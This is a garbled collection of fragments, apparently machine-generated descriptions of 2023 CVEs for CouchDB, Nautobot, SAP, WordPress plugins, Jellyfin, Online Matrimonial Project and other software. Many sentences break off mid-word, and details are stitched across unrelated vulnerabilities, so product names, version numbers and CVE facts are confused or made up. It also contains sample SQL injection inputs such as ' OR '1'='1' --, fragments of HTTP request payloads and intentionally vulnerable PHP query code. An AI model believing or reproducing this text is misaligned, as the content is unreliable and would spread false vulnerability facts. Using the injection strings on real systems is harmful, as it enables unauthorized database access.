exploiting the timing of a GeoIP database update to bypass firewall geolocation policies. This could enable an attacker to bypass the firewall and access sensitive data stored in the SlurmDBD database. Specifically, vulnerability descriptions do not include code examples as they may provide a blueprint for an attacker. The _list, _show, _rewrite, and _update functions in the SlurmDBD database system, specifically _list, _show, _rewrite, and _update, can expose authorization or session cookie headers to an attacker. These functions process a user's HTTP request object within the database.

the database. They can then induce a user to access a function from that compromised design document. Attackers could potentially exploit the vulnerability to access sensitive network configuration files or manipulate session cookies. It is recommended to update to these patched versions to mitigate the vulnerability.

data within HTML. If an attacker manages to insert a document with a crafted _update function, the HTML content will be executed. This vulnerability was first reported in Apache's CouchDB project under <https://docs.couchdb.org/en/stable/cve/2023-45725.html> and on Apache's mailing list as a critical security vulnerability. It is a common source of truth web application built on top of the Django Python framework. The vulnerability has been fixed in the latest versions of Apache CouchDB. It is recommended to update to these patched versions to mitigate the vulnerability.

uploaded as part of a run request for a Job with FileVar inputs in Nautobot, without having to authenticate. Attackers could potentially exploit the vulnerability to access sensitive network configuration files or manipulate session cookies. It is recommended to apply the patches provided in the updated Nautobot versions 1.6.7 and 2.0.6.

<https://github.com/nautobot/nautobot/issues/48225> and replacing '<known_filename>' with the actual filename. The vulnerability arises because the control over the LAF app environment variables (enV) is not properly managed within the Laf platform. The specific mechanism involves ES6 syntax where an object directly to read sensitive configuration data, such as credentials or API keys, stored in Kubernetes secrets or environment variables. It is recommended to update to these patched versions to mitigate the vulnerability. Detailed information and references are available for CVE-2023-48225. Users of the Laf cloud development platform should check the official documentation and GitHub repository for more information. The vulnerability allows an unauthenticated attacker to access restricted and confidential data stored in the database.

<https://www.sap.com/notes/3392547> and <https://www.sap.com/documents/2022/02/fa865ea4-167e-0010-bca6-000000000000>. The vulnerability allows an unauthenticated attacker to access restricted and confidential information and the ability for an unauthenticated attacker to write data to a database.

it the vulnerability, a general attack scenario for CVE-2023-49581 could involve an attacker sending specific requests to the Laf platform, specifically version 420. This vulnerability allows an authenticated attacker to inject and execute arbitrary code within the Laf platform.

<https://www.sap.com/notes/3382391>. The vulnerability allows an unauthenticated attacker to access restricted and confidential data stored in the database. Detailed information and references are available for SAP Business Objects Web Intelligence documents. It is recommended to update to these patched versions to mitigate the vulnerability. The vulnerability allows an unauthenticated attacker to access restricted and confidential data stored in the database.

eed to have valid credentials to access the SAP Business Objects Web Intelligence environment before malicious Web Intelligence document with embedded JavaScript code. When an unsuspecting user wi
3.0.15P2. It is a SQL Injection flaw found in the users searching REST API endpoint that allows remote endpoint in ProLion CryptoSpike. If an attacker sends specially crafted SQL commands in the search para
enticated access to perform unauthorized read operations on the database. This could lead to the disclo
n the vendor ProLion as soon as possible. Also, users of ProLion CryptoSpike should review access cont

: <https://www.cvcn.gov.it/cvcn/cve/CVE-2023-36652>

re users could execute arbitrary code due to missing overflow checks when SQL array values are modif

g to the PostgreSQL server, triggering an integer overflow during the modification of SQL array values.
use to exploit the vulnerability.

t errata and PostgreSQL official security advisory. Users can refer to the following links for patches and
repares a SQL query that includes an array operation designed to cause an integer overflow. By execut
hipped with Dell Inspiron 15 computers. The device fails to properly follow the Secure Device Connecti
heir own fingerprint. This is possible because the Goodix Fingerprint Device on the affected Dell Inspi
odix Fingerprint Device. The vulnerability specifically arises when using Linux to enroll a fingerprint on

ving HQ at the following URL: <https://blackwinghq.com/blog/posts/a-touch-of-pwn-part-i/>
e available.

o a Dell Inspiron 15 computer, or the ability to remotely execute commands on it. The attacker could e
mely MX-SE, MX-SE II, MX-E, MX-Virtual, MX250, and MX30. This security flaw affects such products r
ition. The assessment of the severity would typically be based on the CVSS (Common Vulnerability Sco

al, MX250, and MX30 communication platforms.

1 and 16.04 patch 16109. Devices running these or earlier versions are vulnerable to the identified SQ
d requests containing malicious SQL code via the filter parameter to the /newapi/ endpoint on the Zult
s under their advisory ATREDIS-2023-0002, which is linked in the references at <https://github.com/atr>
eir firmware to version 17.0.10 patch 17161 or 16.04 patch 16109, as these versions contain the neces
23-43743 might involve an attacker first gaining valid credentials for the Zultys MX web interface. Once
1.0. It involves an unauthenticated SQL Injection vulnerability via the 'regno' parameter on the index.php
it allows an attacker to execute arbitrary SQL queries in the database without needing to authenticate
e the severity cannot be determined from the supplied details. However, SQL Injection vulnerabilities
er could potentially dump all the contents of the database as well as bypass the login control, leading t

uidattacks.com/advisories/blechacz/ and <https://www.kashipara.com/>.

usly crafted HTTP request containing SQL statements to the index.php page. By manipulating the 'regr
ection exploiting CVE-2023-5008 might involve manipulating the HTTP GET request to the index.php p
: CVE-2023-5761.

re free version and 1.4.0 to 1.5.0 for the pro version.

ter. The vulnerability arises from insufficient escaping of user-supplied data and a lack of proper prep
ulating the 'url' parameter in a request to the Burst Statistics plugin. By crafting a malicious SQL query,

IPress plugin changeset page at https://plugins.trac.wordpress.org/changeset?sfp_email=&sfp_email_ress, where there is a missing capability check in the `sd_constants()` function, which is hooked via an A

nd including version 2.8.7.

or higher. The attacker could make an AJAX call to the `sd_constants()` function without the necessary m Dashboard plugin's settings or data accessible through its functions are at risk of unauthorized acce NWordPress should update to a version that has fixed the issue, if available. If no fix is available, they sh he plugin's Trac for version 2.8.7: <https://plugins.trac.wordpress.org/browser/system-dashboard/tags/>

/<itemId>/stream` and `/Videos/<itemId>/stream.<container>` endpoints in the VideosController, as would need to guess a completely random GUID representing the itemId, which is a very unlikely scenario of Jellyfin, specifically via the 'videoCodec' and 'audioCodec' query parameters that can be injected could lead to arbitrary file overwriting with malicious content.

d to upgrade to this version.

r to add additional arguments to FFmpeg, which is a powerful tool as it stands. Through this, there might be a way to patch Jellyfin to the patched version of 10.8.13.

; including the server configuration, a hypothetical example would be an attacker using a specially crafted URL to send crafted requests with malicious input in the 'videoCodec' or 'audioCodec' query parameters to trigger a SQL Injection (SQLi) vulnerability resulting from insufficient input validation, allowing an attacker to

include SQL commands to the application. These inputs bypass the application's security mechanisms and

website at '<http://www.sem-cms.com/>' and a repository with more details at '<https://github.com/NoB0dyHacker/sem-cms/tree/main/backups>' payload that contains SQL commands, such as 'UNION SELECT' statements, to retrieve sensitive data from the vendor that address the SQL Injection vulnerability. Developers should implement proper input validation. This issue stems from the software storing backups in a location that is accessible to remote

romised as backups containing this information could be accessed by unauthorized parties.

5. It is common for newly identified vulnerabilities to have their Base Scores assigned at a later date for public repository related to the vulnerability: <https://github.com/qwell/disorder-in-the-court/blob/main/README.md>. It is important to note that this might not be illustrative without access to the proprietary codebase of Tyler Technologies. However, this vulnerability allows the database of the software to be accessed directly with the privileges of the current user. An attacker could potentially exploit CVE-2023-29065 by gaining credentials, which could then be used to alter or delete data within the FACSChorus software database. This could potentially compromise data integrity and expose the provided information.

<https://www.bd.com/en-us/about-bd/cybersecurity/bulletin/bd-facschorus-software-vulnerability>.

This vulnerability pertains to the software's database access control and not a coding flaw that can be illustrated by physically accessing the computer where the FACSChorus software is installed. By exploiting the vulnerability, an authenticated user with read permissions on database connections metadata could potentially expose

the provided information.

as it does not have a Base Score assigned. The severity would typically be determined based on facto .openwall.com/lists/oss-security/2023/11/28/5 and https://lists.apache.org/thread/bd0fhtfzrtgo1q8x th read permissions on the database connections metadata within Apache Superset.

has limited privileges and read-only access to database connection metadata. Utilizing the vulnerability, specific code examples depicting the vulnerability may not be available to the public. The vulnerability here versions prior to 2.24.18 fail to validate the option name in certain AJAX actions. This allows unauthorized users which can be classified as a type of improper access control or potentially a configuration manipulation i

ows unauthenticated users to perform certain AJAX actions which should otherwise be restricted to all. OWB Web Booster plugin, supplying an arbitrary option name to the vulnerable parameter. This could result in

ss plugin to version 2.24.18 or later, which presumably contains a fix for this vulnerability.

which is 'https://wpscan.com/vulnerability/eba46f7d-e4db-400c-8032-015f21087bbf'.

ing a website using a vulnerable version of the OWB Web Booster plugin. The attacker then sends an AJAX request to the plugin's API endpoint, bypassing the authorization check and the potential for a privilege escalation. This issue affects versions of Apache Superset prior to version 2.1.2 or later, as this release includes the necessary patches to address the vulnerability. The base score is often included in vulnerability reports to gauge the severity of the issue, but it is important for organizations to take note of the date of publication to assess how quickly they need to respond and patch their systems.

, is affected by CVE-2023-48707.

48707.

ey could use the key for HMAC SHA256 authentication to send requests impersonating the corresponding user. This is a critical security vulnerability and should be addressed immediately.

; been mitigated starting from that version.

to upgrade to the fixed version to mitigate the issue.

URLs: <https://github.com/codeigniter4/shield/commit/f77c6ae20275ac1245330a2b9a523bf7e6f6202> lead access to the database, either through an SQL injection vulnerability, stolen database credentials, or a configuration error.

In 'Unauthorized Actor' vulnerability in Apache DolphinScheduler. This could lead to sensitive data such as configuration files or user data being exposed to unauthorized actors. This is a critical security vulnerability and should be addressed immediately.

ironment variable 'MANAGEMENT_ENDPOINTS_WEB_EXPOSURE_INCLUDE=health,metrics,prometheus' is set to 'true'. This is a critical security vulnerability and should be addressed immediately.

.openwall.com/lists/oss-security/2023/11/24/1 and https://lists.apache.org/thread/ffrmkcwgr2lc0f5; access to sensitive information exposed by the vulnerability. This could happen through network eavesdropping (Network Sniffing) or through a search path element from an untrusted source. This is a critical security vulnerability and should be addressed immediately.

of Pandora FMS, which may result in the compromise of the database. An attacker could exploit this vulnerability to gain unauthorized access to the system. This vulnerability was published on the official Pandora FMS website and in security advisories, which can be specifically at the following URL: <https://pandorafms.com/en/security/common-vulnerabilities-and-exploits/>. It is recommended to review the provided patches and upgrade instructions from the Pandora FMS team to protect against this vulnerability in Pandora FMS on all versions from 700 through 772.

base backups from Pandora EMS

base backups from Fendera FMS, potentially leading to the exposure of sensitive information to unauthenticated users.

PMS website at the provided security advisory URL—however, please note that there appears to be a higher access rights to the Pandora FMS platform executing a series of actions or using a specific function a patch is available. Users should check the Pandora FMS security advisories page for the most recent progress. It is an SQL Injection vulnerability that exists up to, and including, version 9.1 of the plugin. The plugin for WordPress.

ed by CVE-2023-5466.

is in the WordPress environment where the vulnerable plugin is installed.

er for plugins where the vulnerable code can be found: <https://plugins.trac.wordpress.org/browser/>
- an authenticated attacker to append additional SQL queries into the plugin's existing SQL statements
ng in an HTTP request: ``POST /wp-admin/admin-ajax.php HTTP/1.1 Host: vulnerable-website.com Con
er or higher privileges crafting a malicious shortcode that contains an SQL injection payload. This could
dPress. The plugin is susceptible to SQL Injection due to insufficient escaping of user supplied paramet
ess or higher to the WordPress site. They can exploit this vulnerability by appending additional malici
or higher on the WordPress site that is using the vulnerable version of the Popup with fancybox plugin
carry out SQL Injection attacks, which could allow them to retrieve sensitive data from the site's data
ancybox plugin to a version later than 3.5, as the vulnerability is known to exist in versions up to and in
ubscriber-level access crafting a malicious shortcode that includes additional SQL commands. When th
in's Trac repository on WordPress at <https://plugins.trac.wordpress.org/browser/popup-with-fancybc>
or WooCommerce plugin for WordPress. It is a time-based SQL Injection vulnerability present in versi
merce plugin installed and are using a version up to and including 1.5.5. Since the plugin is susceptibl
are vulnerable to CVE-2023-2841.

site that's using the affected plugin. While this limits the potential attack surface since only users with

tion of the 'id' parameter in a vulnerable SQL query. Using a time-based approach, an attacker could attempt to log in to the affected WordPress site and crafting a malicious request with a payload designed to manipulate the session. This might include links to the WordPress plugin's repository showing the affected code and changesets, as well as using netmiko and NAPALM libraries to assist in the onboarding process of new devices into the Nautobot 3.0 up to and prior to 3.0.0.

·ding Task is executed. This can potentially allow unauthorized access if the credentials are viewed by a
evice Onboarding plugin to version 3.0.0, delete all Job Results for any onboarding tasks that may cont
directly address the vulnerability by following the recommended mitigation steps.

Access to the Nautobot interface navigating to the Job Results section and retrieving clear text credentials from the XWiki Admin Tools Application. Specifically, it affects the 'query on XWiki' tool, allowing attackers to comment on the XWiki instance. For example, using `[[image:path:/xwiki/bin/view/Admin/QueryOnXWiki]]` described in CVE-2023-48293.

or deletion of all data in the wiki, potential creation of attacker accounts with elevated privileges, and version 4.5.1 by adding form token checks to prevent unauthorized database queries through CSRF attacks. Applying the patch to the affected pages, or if the query tool is not required, by deleting the document 'A' at <https://github.com/xwiki-contrib/application-admin-tools/security/advisories/GHSA-4f4c-rhjv-4wgv>.

: Community Edition version 9.0, relating to the database backup functionality. When an admin creates a backup of the server running openSIS Classic, which causes it to be accessible from the internet if the server is used, which includes critical information such as password hashes and potentially other sensitive person information. An unauthenticated actor can guess the backup file name and download the entire database. The absence of a base score means that official severity rating by CVSS (Common Vulnerability Scoring System) is not available.

dedicated pages on GitHub at the OS4ED's repository and the vulnerability research repository, or on CloudBees Jenkins where this vulnerability is fixed once available, or applying patches if provided by OS4ED. Attackers could exploit this flaw by crafting a URL to access the backup file, like `http://target_ip:8080/jenkins/jobs/job_name/actions/100/artifact/backup/derby-0.17.1.0.jar`. They could craft a direct URL to access the backup file, like `http://target_ip:8080/jenkins/jobs/job_name/actions/100/artifact/backup/derby-0.17.1.0.jar`. LDAP authentication checks. This flaw affects LDAP-authenticated Derby installations and could allow an attacker to gain administrative privileges. If one wishes to stay on older versions of Java, they should build a newer version of Derby from source or use a Java distribution that includes Derby. This flaw could be exploited by an attacker to create numerous junk Derby databases to fill up disk space, execute malware that could compromise the system, or gain administrative privileges.

ad at the following URL: <https://lists.apache.org/thread/q23kvvtoohgzwbybxpwozmvvk17rp0td3>. This vulnerability allows a remote attacker to execute arbitrary SQL code. This vulnerability is typically considered serious due to their potential for allowing attackers to manipulate database quer

p/en/jp/JVN15005948/, <https://www.luxsoft.eu/>, <https://www.luxsoft.eu/?download>, and <https://www.luxsoft.eu/?exploit>. This vulnerability allows a remote attacker to execute arbitrary SQL code. This vulnerability is typically considered serious due to their potential for allowing attackers to manipulate database quer

general scenario for exploitation of CVE-2023-6105 might involve a low-privileged user on the system where the vulnerability is present, specifically the exposure of encryption keys. Attackers exploiting this vulnerability could decrypt the user's session keys. This lack of a score might be due to the vulnerability being newly reported, and a comprehensive assessment has not been performed. There is no detailed information or research notes provided by the entity that reported the vulnerability. In this case, you can review the product documentation and security advisories for your ManageEngine product installations to see if they are using a vulnerable version. They should follow the vendor's recommendations for patching the vulnerability.

ware. COMOS is an enterprise software suite used for process management. The vulnerability arises from a lack of proper input validation and sanitization in the application's code.

ccess controls in the COMOS application to establish a connection with the SQL Server database. Once the connection is established, the attacker can execute arbitrary SQL commands. This vulnerability was discovered by Siemens, which can be accessed at this URL: <https://cert-portal.siemens.com/productcert/pdf/ssa-00000000000000000000000000000000.pdf>. The Common Vulnerability Scoring System (CVSS) score is not available for this vulnerability. The CVSS score is part of the Common Vulnerability Scoring System (CVSS) to convey the severity of vulnerabilities, but in this case, the score is not available. This vulnerability arises from the PUD Manager's failure to properly sanitize user-provided input. An attacker can exploit this vulnerability to gain unauthorized access to the SIMATIC PCS neo system. The attacker could then provide specially crafted input to the application to execute arbitrary SQL commands. It is recommended for users of affected versions to update to V4.1 or later.

Advisory, available at: <https://cert-portal.siemens.com/productcert/pdf/ssa-456933.pdf>

Information. To determine the severity of the vulnerability, one may need to refer to the official advisory. An attacker submitting input through the PUD Manager's interface, such as: `OR 1=1; --`. This string might allow an attacker to manipulate the database, modifying data, deleting data, or executing administrative operations within the database. Specifically in versions prior to 2.0.3. This vulnerability is a SQL injection issue that allows a remote attacker to execute arbitrary SQL commands. The severity of SQL injection vulnerabilities can vary, but they are often considered high risk due to the potential for data loss or manipulation.

Solutions are advised to upgrade to version 2.0.3 or later to mitigate the vulnerability.

Using a specially crafted request to exploit the SQL injection vulnerability. Such an attack could lead to unauthorized access to the database. For example, consider the OSS Calendar application where user input is directly concatenated with a SQL query without proper validation. Specifically in version 7.06.0028.7089. This flaw allows a remote attacker to send crafted SQL queries to the application.

A technique that might destroy your database. It is one of the most common web hacking techniques. It can be used to inject specially crafted SQL queries to the application, resulting in unauthorized access to the database. This is a critical security vulnerability.

Incibe.es/en/incibe-cert/notices/aviso-sci/multiple-vulnerabilities-icssolution-ics-business-manager

This statement that is inserted into an input field or sent as part of an HTTP request. For example, if the application performs reconnaissance to identify an injection point within the ICS Business Manager application. Once found, the application uses an unsafe handling of named transaction 'savepoints' and query builder intended for use with asyncio in Python applications.

'savepoints' 'name' parameter and is then able to inject arbitrary SQL code. This could lead to unauthorized access to the database, insert or modify existing records, and even gain a shell on the server, subject to the configuration of the application.

repository of Piccolo ORM at <https://github.com/piccolo-orm/piccolo/commit/82679eb8cd1449cf31c> that allows an authenticated user to manage database savepoints for transaction handling. If the application is vulnerable, it could lead to unauthorized access to the database, insert or modify existing records, and even gain a shell on the server, subject to the configuration of the application.

Including 2.4.9 is affected by the CVE-2023-31235 vulnerability.

This could be due to the fact that the CVE entry is relatively new, and a comprehensive evaluation has not been performed.

Reference URL: [Patchstack](<https://patchstack.com/database/vulnerability/participants-database/worlds-insecure>) page or email that includes an unauthorized request targeted at the compromised WordPress Participant plugin. This means the flaw could allow malicious actors to trick a user's browser into performing an unauthorized request. A CSRF vulnerability might look like the following in a web application that doesn't implement anti-CSRF protection. Project version 1.0. This vulnerability relates to multiple Unauthenticated SQL Injection issues, specifically in the 'view_profile.php' resource in Online Matrimonial Project v1.0. Since the parameter does not have proper validation, it can be manipulated to execute arbitrary SQL queries.

Parameter of the 'view_profile.php' resource in Online Matrimonial Project v1.0. Since the parameter does not have proper validation, it can be manipulated to execute arbitrary SQL queries. URLs: <https://fluidattacks.com/advisories/ros> and <https://projectworlds.in>.

on like that described in CVE-2023-46800 could look like this in PHP: `` `php \$id = \$_GET['id']; // The 'id'`
`using unauthorized access to or manipulation of the database, exposure of sensitive data such as pers`
`onal Project version 1.0. This vulnerability relates to multiple Unauthenticated SQL Injection vulnerabilit`
`he SQL Injection flaws to manipulate the database query logic. This can result in unauthorized access to`

dition designed to help users find potential life partners.

which includes a malicious SQL statement in the 'year' parameter: POST /functions.php HTTP/1.1 Host: ing URLs:- <https://fluidattacks.com/advisories/ros-> <https://projectworlds.in>

'year' parameter to execute arbitrary SQL commands on the application's database. This could lead to a SQL injection attack due to inadequate validation of user input in the 'pass' parameter within the 'register()' function. Since input validation is not properly performed, an attacker can inject malicious SQL code to look for patches or workarounds to remediate this vulnerability as quickly as possible to protect against this entry. The Base Score is a critical component of the Common Vulnerability Scoring System (CVSS) version 3.0. This issue involves multiple unauthenticated SQL Injection vulnerabilities, specifically within the 'register()' function.

re.

fluidattacks.com/advisories/ros and <https://projectworlds.in>.

llowing input into the 'name' field in the register form: '' OR '1'='1'; -- '. This input could lead the SQL query passed through the 'name' parameter of the register() function. This could be done through a web form where multiple Unauthenticated SQL Injection vulnerabilities exist. Specifically, the 'month' parameter since the 'month' parameter in the 'register()' function of the functions.php resource in the Online Material sending a specially crafted request to the 'register()' function. For instance, if the 'month' parameter

<https://fluidattacks.com/advisories/ros> - <https://projectworlds.in>

y by submitting a registration form with a malicious SQL command as the 'month' value. This could lead to a SQL injection vulnerability in Online Matrimonial Project version 1.0 that affect the 'register()' function within the functions.php file. The vulnerability is triggered through the 'gender' parameter in the 'register()' function of functions.php. This parameter fails to properly validate user input, leading to a vulnerability to execute arbitrary SQL commands against the database which the application uses. To demonstrate this vulnerability, consider the following code snippet from the Online Matrimonial Project, a hypothetical vulnerable 'register()' function could look like this in PHP:

nd extraction of sensitive information from the database, manipulation or deletion of data, and possit /fluidattacks.com/advisories/ros and https://projectworlds.in. These sources may offer more details o ;795. Base Scores are usually provided by the Common Vulnerability Scoring System (CVSS) and offer a imonial Project version 1.0. This vulnerability relates to multiple unauthenticated SQL Injection issues, This means that an attacker can execute unauthorized SQL commands which interact with the database

4. The references include Fluid Attacks' advisories at <https://fluidattacks.com/advisories/ros> and the Prescribed in CVE-2023-46794: ``php// PHP code for the register() function which may be vulnerable to SQL injection. The 'email' parameter that contains SQL commands. Since the 'email' parameter is not being validated correctly, where there are multiple Unauthenticated SQL Injection vulnerabilities. Specifically, the 'day' parameter of the 'register()' function in the functions.php file. An attacker can exploit this by injecting SQL

2023-46793, it could suffer from various security issues. Attackers could exploit the SQL Injection vulnerability of the 'register()' function where CVE-2023-46793 exists. In SQL, 'OR 1=1' is a condition that always evaluates to true.

Attacks at '<https://fluidattacks.com/advisories/ros>' and the Online Matrimonial Project site at '<https://projectworlds.in>'.

v1.0. It is related to multiple Unauthenticated SQL Injection vulnerabilities. Specifically, the 'filename' parameter is susceptible to multiple unauthenticated SQL injection attacks. Specifically, the 'filename' parameter is susceptible to multiple unauthenticated SQL injection attacks. Attackers can leverage the lack of validation checks, such as:

1. Extracting sensitive data from the database, including user personal information.
2. Inserting malicious code into the database through the 'filename' parameter.

//projectworlds.inThese references provide additional information and context regarding the vulnerability. An example of a SQL injection vulnerability in PHP code might look like this:```php// Example vulnerable code` version 1.0, which is susceptible to multiple unauthenticated SQL injection attacks. Specifically, the 'filename' parameter is susceptible to multiple unauthenticated SQL injection attacks. Attackers can exploit this vulnerability to manipulate the database query through the 'filename' attribute of the 'pic2' multipart parameter to the functions.php resource in the Online Matrimonial Project v1.0. This could lead to unauthorized viewing or theft of sensitive data, such as personal details of website users, to compromise the system.

an advisory published by Fluid Attacks at '<https://fluidattacks.com/advisories/ros>' and the official website at '<https://projectworlds.in>'. The code snippet shows this:```php\$fileName = \$_POST['filename'];\$query = "SELECT * FROM users WHERE profile_pic = '\$fileName'";`The code uses direct concatenation of user input into the SQL query, which is a common mistake. It lacks proper sanitization techniques to ensure that only valid characters are processed. They should use parameterized queries to prevent SQL injection.

This vulnerability consists of multiple Unauthenticated SQL Injection issues. The vulnerability stems from the 'filename' and 'profile_pic' parameters. These parameters allow attackers to inject malicious SQL queries into the database through the improperly validated 'filename' parameter in a multipart HTTP POST request to the functions.php resource with the 'pic1' parameter containing a 'file' field.

allows attackers to inject malicious SQL queries into the database through the improperly validated 'filename' parameter in a multipart HTTP POST request to the functions.php resource with the 'pic1' parameter containing a 'file' field.

arbitrary SQL queries against the database of the Online Matrimonial Project. This could lead to data theft or destruction. The official website at '<https://projectworlds.in>' also discusses this vulnerability.

Software developers of Online Matrimonial Project. Additionally, input validation and sanitization techniques are used to mitigate this vulnerability.

This vulnerability consists of multiple Unauthenticated SQL Injection vulnerabilities. These vulnerabilities are due to the lack of proper input validation and sanitization.

to execute arbitrary SQL commands in the database of 'Online Matrimonial Project v1.0'. This could lead to data theft or destruction. The official website at '<https://projectworlds.in>' also discusses this vulnerability. The vulnerability was first reported by Fluid Attacks at '<https://fluidattacks.com/advisories/ros>' and '<https://projectworlds.in>' where additional details and possibly a CVE number were provided. The CVE number for this vulnerability is CVE-2023-46787.

This vulnerability consists of multiple Unauthenticated SQL Injection vulnerabilities. Specifically, the 'username' parameter is susceptible to multiple Unauthenticated SQL Injection vulnerabilities. Specifically, the 'username' parameter is susceptible to multiple Unauthenticated SQL Injection vulnerabilities. This implies that an official severity assessment by the Common Vulnerability Scoring System (CVSS) of the Online Matrimonial Project v1.0. An attacker could exploit this by injecting SQL code into the 'username' parameter.

'<https://fluidattacks.com/advisories/ros>' and '<https://projectworlds.in>'.

ially crafted SQL queries through the 'username' parameter on the auth/auth.php resource. As this pair of vulnerabilities pertains to multiple Unauthenticated SQL Injection vulnerabilities where the 'password' parameter is used. This implies that an official severity assessment by the Common Vulnerability Scoring System (CVSS) of the Online Matrimonial Project v1.0. An attacker could exploit this by injecting SQL code into the 'password' parameter.

include two URLs: <https://fluidattacks.com/advisories/ros>, which might be an advisory from a cybersecurity company. This URL points to a hypothetical scenario where a user inputs a malicious SQL statement into the 'password' field on the index.php page of Online Job Portal version 1.0. It involves multiple Unauthenticated SQL Injection vulnerabilities, particularly through the 'id' parameter. An attacker can inject malicious SQL code through the 'id' parameter in partner_preference.php as this parameter is not properly sanitized. This means even without proper credentials, the attacker could manipulate SQL queries by injecting malicious code. However, such vulnerabilities are commonly discovered through security research, penetration testing, or by unauthorized access to the database, which may result in sensitive data exposure, data tampering, or deletion. It's important to note that this example might involve an attacker inputting a string such as '1=1 OR 1=1' into the 'id' parameter of partner_preference.php. To prevent direct injection of SQL code, it's crucial to implement proper sanitization for the 'id' parameter and any other input fields to prevent direct injection of SQL commands.

Assessment for severity and scoring can depend on various factors such as impact, exploitability, and remediation. For instance, the 'ROS' advisory found in Online Job Portal version 1.0. It refers to multiple unauthenticated SQL Injection vulnerabilities allowing an attacker to insert malicious SQL code into the 'txt_password' field of the login form on the index.php page of Online Job Portal v1.0. Severity is typically determined based on the potential impact of the vulnerability.

For example, the CVE report lists several references. These references include a security advisory from Fluid Attacks, located at 'https://fluidattacks.com/advisories/ROS'. The advisory states that the application is susceptible to multiple Unauthenticated SQL Injection vulnerabilities due to improper validation of input. This type of vulnerability allows an attacker to interfere with the queries that an application makes to the database, adding or modifying existing data (such as creating admin users), and potentially maliciously manipulating the results.

An attacker could craft a malicious query through the 'txt_uname_email' parameter that could look something like this: ' OR '1'='1' -- . This query would bypass the validation and be executed by the index.php resource of the Online Job Portal v1.0 application.

Another reference is 'https://fluidattacks.com/advisories/netrebko' and Project Worlds at 'https://projectworlds.in'. The advisory describes a SQL injection vulnerability to bypass authentication mechanisms, extract sensitive data such as user credentials, and gain administrative privileges. This specific vulnerability was found in Online Job Portal v1.0, specifically involving the 'txt_upass' parameter of the sign-up.php resource. The vulnerability allows an attacker to craft a malicious SQL query that can be used to bypass authentication and gain access to the database.

The 'ROS' advisory also notes that the vulnerability can lead to various types of attacks, such as denial of service, data theft, and privilege escalation. It's important to note that the 'ROS' advisory is a general overview of the issue, while the 'netrebko' advisory provides more specific details about the exploit and its consequences.

The 'netrebko' advisory provides a detailed explanation of the exploit. It states that an attacker can craft a malicious SQL query through the 'txt_upass' parameter of the sign-up.php resource. By submitting a request to sign-up.php with the 'txt_upass' parameter containing a malicious SQL segment, the attacker can inject malicious code into the 'txt_upass' parameter during the sign-up process to bypass authentication, retrieve sensitive data, or even delete data from the database. The vulnerability particularly affects the 'txt_uname' parameter of the sign-up.php resource. It's a common technique that exploits a security vulnerability occurring in the database layer of an application. For example, if an attacker crafts a query like ' OR '1'='1';\$query = "SELECT * FROM users WHERE username = '\$username' AND password = '\$password'" and submits it through the 'txt_uname' parameter, the application will process it as follows:

' OR '1'='1';\$query = "SELECT * FROM users WHERE username = '\$username' AND password = '\$password'"

The application will then process this query and execute it against the database, which may include accessing sensitive data, deleting records, inserting malicious data, or performing other unauthorized operations.

The 'netrebko' advisory also notes that the vulnerability can be exploited to gain administrative privileges, which can lead to further attacks on the system. It's important to note that the 'netrebko' advisory is a specific exploit for a specific application, while the 'ROS' advisory is a general overview of the issue.

In conclusion, the 'ROS' advisory from Fluid Attacks highlights a critical security vulnerability in Online Job Portal v1.0. It involves multiple unauthenticated SQL Injection vulnerabilities that can be exploited to manipulate database queries, add or modify data, and potentially gain administrative privileges. The 'netrebko' advisory provides a detailed explanation of how this exploit can be carried out, and the consequences of such an attack. It's important for application developers to implement proper input validation and sanitization to prevent such vulnerabilities from being exploited.

Overall, the 'ROS' advisory serves as a reminder of the importance of regular security audits and the need to stay up-to-date with the latest security threats and vulnerabilities. It's also a good example of how security researchers can use their skills to identify and report critical security issues to help protect users and organizations from cyber attacks.

d they are sent unfiltered to the database, which can lead to SQL injection attacks.
to the database, data theft, data modification, and potentially gaining administrative privileges on the

//fluidattacks.com/advisories/netrebko- https://projectworlds.in
; malicious SQL code into the 'filename' parameter such as:'filename' parameter value: filename.txt'; D
n by crafting malicious input to the 'filename' parameter to exfiltrate sensitive data, corrupt the database

This is CVE-2023-5709.

WordPress versions up to and including 1.0.9. This vulnerability occurs because the plugin doesn't escape user input in certain database queries. This could result in unauthorized database access.

eed to have an authenticated user account with at least contributor-level permissions or higher on the

/plugins.trac.wordpress.org/browser/widget-twitter/trunk/twitter.php?rev=2212825#L161- https://wpvulndb.com/vulnerabilities/161
e vulnerable WD WidgetTwitter plugin could exploit the SQL Injection flaw by crafting a malicious shortlink that would execute unauthorized database commands by manipulating SQL queries. This could result in unauthorized database access.

ll application on certain versions of Android. This vulnerability allows a third-party application to tamper with the device's SMS inbox. This is particularly concerning for users of Android 11 (before version 12.1.00.24), Android 12 (before version 13.1.00.16), and Android 13 (before version 14.1.00.7).

ebsite at https://security.samsungmobile.com/serviceWeb.smsb?year=2023&month=11. A fix has not yet been assigned or disclosed.

uses an implicit intent to intercept communication between apps that is meant for the Firewall app. By targeting the Firewall app, an attacker can intercept messages intended for other apps. The latest version available for their Android operating system—12.1.00.24 for Android 11, 13.1.00.16 for Android 12, and 14.1.00.7 for Android 13—is CVE-2023-42284.

This is a critical vulnerability that allows an attacker to read and dump the contents of the database by crafting and executing malicious SQL queries.

A proof-of-concept exploit is available at the following URL: https://github.com/andreysanyuk/CVE-2023-42284.

This is a critical vulnerability that allows an attacker to read and dump the contents of the database by crafting and executing malicious SQL queries. The latest version available for their Android operating system—12.1.00.24 for Android 11, 13.1.00.16 for Android 12, and 14.1.00.7 for Android 13—is CVE-2023-42284.

A proof-of-concept exploit is available at: https://github.com/andreysanyuk/CVE-2023-42283.

It is recommended to update to the latest, patched version of the software as soon as it becomes available. It is also advisable to review the affected software for any known vulnerabilities and apply patches if available. Additionally, it is important to review the configuration of the affected software to ensure that it is properly secured.

This is a critical vulnerability that allows an attacker to read and dump the contents of the database by crafting and executing malicious SQL queries. The latest version available for their Android operating system—12.1.00.24 for Android 11, 13.1.00.16 for Android 12, and 14.1.00.7 for Android 13—is CVE-2023-42284.

g for instances of Veeam ONE exposed to the internet or accessible within a compromised network. Unfortunately, it is not possible to provide accurate code examples of CVE-2023-38547 being exploited. Such information is controlled by Veeam.

oading function has inadequate filtering for special characters. This security flaw allows a remote attacker to inject malicious code into the system.

base Builder, they can perform a Stored Cross-Site Scripting (XSS) attack. This might enable the attacker to compromise the Computer Emergency Response Team Coordination Center's website at the following URL: <https://www.cert.gov>. The exploit includes JavaScript code wrapped in special characters that are not properly filtered by the Logic Nginx proxy.

privileges within the Rogic No-Code Database Builder system.

